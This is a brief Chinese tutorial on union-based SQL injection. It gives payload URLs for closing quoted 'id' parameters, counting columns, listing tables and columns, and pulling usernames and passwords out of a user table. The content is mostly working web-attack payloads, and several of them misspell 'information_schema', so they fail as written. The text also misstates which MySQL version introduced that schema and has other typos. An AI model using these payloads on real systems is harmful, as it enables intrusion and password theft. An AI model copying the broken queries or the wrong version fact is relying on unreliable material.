1、sql注入原理,传参时拼凑语句在数据库执行且获取想要的执行结果(系统账号密码)
sql注入传参后,后台可能类似 id=1 直接按数值类型接收;
也可能类似 id='1' 按字符类型接收;
也可能类似 id=('1') 按字符类型,但用括弧括起来接收;
也可能类似 id="1" 按字符串类型接收;
也可能类似 id=("1") 按字符串类型,但用括弧括起来接收;
2、如何执行自己拼凑的sql语句
如浏览器访问为:http://localhost/?id=1
后台最终的sql为:select * from user where id='1' limit 0,1;
为了让拼凑的sql语句能够正确执行,可以拼凑为:select * from user where id='1' --+ 'limt 0,1;
浏览器如何传参才能达到如上拼凑的sql语句效果,如:http://localhost/?id=1' --+
说明:在浏览器访问时“+”号表示空格,“--+”传递到sql语句时“-- ”(注意“-- ”后面有个空格),即注释掉后面的sql语句。
对于数值类型处理,浏览器访问如:http://localhost/?id=-1 --+
对于id='1'类型处理,浏览器访问如:http://localhost/?id=-1' --+
对于id=('1')类型处理,浏览器访问如:http://localhost/?id=-1') --+
对于id="1"类型处理,浏览器访问如:http://localhost/?id=-1" --+
对于id=("1")类型处理,浏览器访问如:http://localhost/?id=-1") --+
3、接下来就是想办法获取自己想知道的数据。
如:
//确定表字段个数
http://localhost/?id=1' order by 4 --+
//使用union时需要确保其前后两个查询出的字段个数一致
http://localhost/?id=-1' union select 1,database(),3 --+
//mysql5.7及以上自带的数据库information_schema,及其存放数据表的表tables,及其存放字段名称的表columns,获取当前系统数据库下的所有数据表
http://localhost/?id=-1' union select 1,group_concat(table_name),3 from infomation_schema.tables where table_schema=database() --+
//获取要查询表(如上面查询到的user表)的所有表字段
http://localhost/?id=-1' union select 1,group_concat(column_name),3 from infomation_schema.columns where table_schema=database() and table_name='user' --+
//获取要查询的表数据(如上面查询到的username、userpassword)
http://localhost/?id=-1' union select 1,group_concat(username),group_concat(password) from user --+
//或
http://localhost/?id=-1' union select 1,username,password from user limit 0,1 --+
//注意:group_concat()是字符串拼接函数,limt m,n表示从查询结果的m+1行开始获取n行结果(查询结果从0开始记录)